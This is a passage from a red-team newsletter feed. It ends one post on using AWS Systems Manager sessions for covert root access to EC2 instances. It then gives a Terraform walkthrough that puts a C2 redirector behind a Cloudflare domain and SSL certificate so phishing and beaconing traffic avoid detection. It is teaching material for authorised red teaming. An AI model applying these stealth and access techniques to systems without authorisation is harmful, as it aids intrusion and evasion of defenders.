https://substackcdn.com/image/fetch/$s_!ulDh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png 848w, https://substackcdn.com/image/fetch/$s_!ulDh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png 1272w, https://substackcdn.com/image/fetch/$s_!ulDh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ulDh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png" width="646" height="289.5254545454545" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:493,&quot;width&quot;:1100,&quot;resizeWidth&quot;:646,&quot;bytes&quot;:68220,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164878659?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ulDh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png 424w, https://substackcdn.com/image/fetch/$s_!ulDh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png 848w, https://substackcdn.com/image/fetch/$s_!ulDh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png 1272w, https://substackcdn.com/image/fetch/$s_!ulDh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F750bd152-cac0-432c-97b2-0f4b8736484f_1100x493.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Output of the above command confirms root access via send-command</figcaption></figure></div></blockquote><p>This is equivalent to remote code execution via an AWS API call. This access can further be exploited to drop advanced payloads or obtain a reverse shell.</p><h4>OPSEC considerations</h4><p>While SSM abuse is stealthier than traditional remote access, it&#8217;s not entirely invisible. Security teams that properly configure logging can detect or reconstruct SSM usage.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zwIJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zwIJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png 424w, https://substackcdn.com/image/fetch/$s_!zwIJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png 848w, https://substackcdn.com/image/fetch/$s_!zwIJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png 1272w, https://substackcdn.com/image/fetch/$s_!zwIJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zwIJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png" width="881" height="297" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:297,&quot;width&quot;:881,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:60611,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164878659?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zwIJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png 424w, https://substackcdn.com/image/fetch/$s_!zwIJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png 848w, https://substackcdn.com/image/fetch/$s_!zwIJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png 1272w, https://substackcdn.com/image/fetch/$s_!zwIJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd26395b8-9e70-435d-a374-4271ee6a5e8e_881x297.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code><strong>TL;DR
- </strong>AWS Systems Manager (SSM) allows shell access to EC2 instances via encrypted API calls &#8212; no need for SSH or open ports.
- Attackers with valid AWS credentials and proper permissions can use ssm:StartSession to gain covert access to EC2s.
- SSM agents must be installed and running, and the EC2 instance must have an IAM role with the AmazonSSMManagedInstanceCore policy.
- Red teamers can abuse this to bypass firewalls, avoid detection, and maintain stealthy persistent access.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Red Team Infrastructure - Configure a domain name and SSL certificate via Terraform]]></title><description><![CDATA[Learn how to map the redirector machine to a domain name and configure a valid SSL certificate via Terraform.]]></description><link>https://www.100daysofredteam.com/p/red-team-infrastructure-configure-a-domain-name-and-ssl-certificate-via-terraform</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/red-team-infrastructure-configure-a-domain-name-and-ssl-certificate-via-terraform</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Tue, 20 May 2025 14:30:55 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/7a9c6355-c53f-47f4-9a21-52e2e8cbe5c8_614x614.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In previous posts, we laid out the foundational red team infrastructure in AWS using Terraform. The configuration included the creation of a <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-vpc-creation-with-terraform">Virtual Private Cloud (VPC)</a>, <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-subnet-creation-with-terraform">public and private subnets, route tables, an internet gateway</a>, a <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-adding-key-based-ssh-access-via-terraform">Kali Linux EC2 instance with SSH access</a>, <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-ec2-windows-server-deployment-with-terraform">a Windows Server EC2 instance with RDP access</a>, <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-havoc-c2-via-terraform">an Ubuntu 24.04 EC2 instance with Havoc C2</a> and <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-a-redirector-via-terraform">an Ubuntu 24.04 EC2 instance acting as a redirector</a>.</p><p>In this post, we add code to increase the stealth of the infratructure. The goal is to map the redirector to a domain name and deploy a valid SSL certificate issued by Let&#8217;s Encrypt.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><h4>Why map the redirector to a domain name with SSL?</h4><p>From a red team perspective, using a domain name rather than a raw IP address provides a layer of flexibility and operational security. Domains are easier to remember, look less suspicious in phishing campaigns, and can be quickly redirected to different infrastructure if needed. More importantly, pairing the domain with a valid SSL certificate increases trust. A secure HTTPS connection is not just a compliance checkbox&#8212;it can prevent immediate flagging by security tools and skeptical users. Traffic over HTTPS is encrypted, which helps reduce visibility into the payloads being transmitted, especially when paired with a C2 framework that uses HTTPS-based beaconing.</p><p>A redirector is often the first exposed asset in red team infrastructure&#8212;it acts as a proxy, obfuscating the real location of the command and control server. Therefore, securing this point of contact with HTTPS is not optional&#8212;it is critical.</p><h4>Assumptions</h4><p>I make a few assumptions for this post:</p><ul><li><p>A domain name has already been purchased from a registrar.</p></li><li><p>The domain&#8217;s nameservers have been updated to point to Cloudflare.</p></li><li><p>SSL setting in Cloudflare is already configured to <strong>Full (Strict)</strong>. This ensures that Cloudflare will only accept end-to-end encrypted communication, even between Cloudflare and the origin server (i.e., the redirector).</p></li></ul><h4>How we&#8217;ll secure the redirector</h4><p>Following is the approach for binding the redirector to a domain name and securing it with SSL:</p><p><strong>1. Add Cloudflare as a Terraform provider</strong></p><p>Cloudflare will be used to manage DNS records programmatically. By using Cloudflare&#8217;s Terraform provider, DNS changes can be version-controlled, repeatable, and integrated into the infrastructure-as-code workflow. These changes are also rolled back when the infrastructure is destroyed. </p><p><strong>2. Create a module named </strong><code>cloudflare_dns</code><strong> to add an A record</strong></p><p>We create a module (similar to previous posts) to create DNS records in Cloudflare. This module will accept inputs such as domain name, subdomain, and the IP address of the redirector instance. It will then create an A record in Cloudflare pointing the provided domain name to the public IP of the redirector.</p><p><strong>3. Use </strong><code>certbot</code><strong> to generate the SSL certificate</strong></p><p>Once DNS is in place and propagated, the next task is to provision an SSL certificate. On the redirector machine, we will use the <code>certbot</code> tool for obtaining SSL certificates from Let&#8217;s Encrypt. </p><p>We will run Certbot in a non-interactive manner. This involves specifying all required flags at runtime: domain name, email address, agreement to terms, and web server plugin. Certbot will then handle the ACME challenge with Let&#8217;s Encrypt to verify domain ownership and generate the SSL certificate. Once successful, Apache will be automatically configured to use HTTPS.</p><h4>Steps to generate a Cloudflare API token</h4><p>To manage DNS records through Terraform, Cloudflare requires an API token with specific permissions. This is how to generate it:</p><ol><li><p>Log in to your Cloudflare dashboard.</p></li><li><p>Navigate to <strong>Profile &gt; API Tokens</strong>.</p></li><li><p>Click on <strong>Create Token</strong>.</p></li><li><p>Choose the <strong>Edit zone DNS</strong> template or manually assign these permissions:</p><ol><li><p>Zone &#8594; Read |  All zones or specific</p></li><li><p>DNS &#8594; Edit | All zones or specific </p></li></ol></li><li><p>Generate and copy the token securely&#8212;this will be used in the Terraform provider block.</p></li></ol><p>This token will be passed to Terraform using the <code>secrets.tfvars</code> file.</p><h4><strong>Terraform resources required to map a domain name</strong></h4><p>Terraform interacts with Cloudflare using specific resource types. Here's an overview of the resources used in this lesson:</p><p><code>cloudflare/cloudflare</code></p><p>The <a href="https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs">Cloudflare provider</a> is required to interact with the Cloudflare API. This tells Terraform to authenticate using the token and enables access to all DNS-related resources.</p><p>Here&#8217;s the syntax for using this provider:</p><pre><code>terraform {
  required_version = "&gt;= 1.11.0"

  required_providers {
    cloudflare = {
      source  = "cloudflare/cloudflare"
      version = "&gt;= 5.4.0"
    }
  }
}

provider "cloudflare" {
  api_token = var.cloudflare_api_token
}</code></pre><p><code>cloudflare_zone</code></p><p>This resource fetches information about the DNS zone (domain) being managed. This is typically used to get the zone ID, which is required when creating DNS records.</p><p>Here&#8217;s the syntax for provisioning <code>cloudflare_zone</code><strong> </strong>data resource:</p><pre><code>data "cloudflare_zone" "example" {
    filter = {
    name = "example.com"
  }
}</code></pre><p><code>cloudflare_dns_record</code></p><p>Used to create DNS records such as A, CNAME, or TXT. We will use this to map a domain name to the IP of the redirector EC2 instance.</p><p>Here&#8217;s the syntax for provisioning <code>cloudflare_zone</code><strong> </strong>data resource:</p><pre><code>resource "cloudflare_dns_record" "redirector" {
  zone_id = data.cloudflare_zone.example.id
  name    = "redirector"
  value   = var.redirector_public_ip
  type    = "A"
  ttl     = 1  # TTL must be set to 1 when proxied is set to true
  proxied = true
}</code></pre><h4>Deploying the domain name and SSL certificate configuration code</h4><p>Refer to the <a href="https://www.100daysofredteam.com/p/kickstarting-red-team-infrastructure-automation-via-terraform">Kickstarting red team infrastructure automation via Terraform</a> to understand the architecture we are working with.</p><p>Here is the <a href="https://github.com/100daysofredteam/Terraform/tree/main/Red%20Team%20Infra/AWS/EC2-Redirector-Domain-Cert">Terraform Red Team Infrastructure project in 100 Days of Red Team GitHub repository that maps the redirector machine to a domain name, generates and configures the SSL certificate</a>.</p><p>Clone this project to your machine and execute the following commands to deploy the infrastructure:</p><p>&#9888;&#65039;<strong>Reminder: </strong>Switch to the dev Terraform workspace (<code>terraform workspace select dev)</code> before executing following commands. To create dev workspace use, <code>terraform workspace new dev</code>.</p><pre><code><code>terraform init
terraform plan -var-file "secrets.tfvars"
terraform apply -var-file "secrets.tfvars"</code></code></pre><blockquote><p><strong>Reminder</strong>: You must create a <code>secrets.tfvars</code> file manually to hold credentials. Never commit secrets to version control. It contains AWS credentials temporarily stored in plain text, which is not recommended for production environments. Also, we are still using local state files for simplicity. In a real red team deployment, you must use an encrypted remote backend.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ZO-_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZO-_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg 424w, https://substackcdn.com/image/fetch/$s_!ZO-_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg 848w, https://substackcdn.com/image/fetch/$s_!ZO-_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!ZO-_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZO-_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg" width="1107" height="544" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:544,&quot;width&quot;:1107,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:89348,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164003185?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ZO-_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg 424w, https://substackcdn.com/image/fetch/$s_!ZO-_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg 848w, https://substackcdn.com/image/fetch/$s_!ZO-_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!ZO-_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f0c6597-de2e-4caf-a0ed-c09136bb8301_1107x544.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Deploying red team infrastructure via Terraform</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Bukh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Bukh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Bukh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Bukh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Bukh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Bukh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg" width="537" height="181.43869209809264" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:248,&quot;width&quot;:734,&quot;resizeWidth&quot;:537,&quot;bytes&quot;:17945,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164003185?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Bukh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Bukh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Bukh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Bukh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc265f946-e269-4770-93ca-377c7e36caed_734x248.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Domain name successfully mapped</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5I0t!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 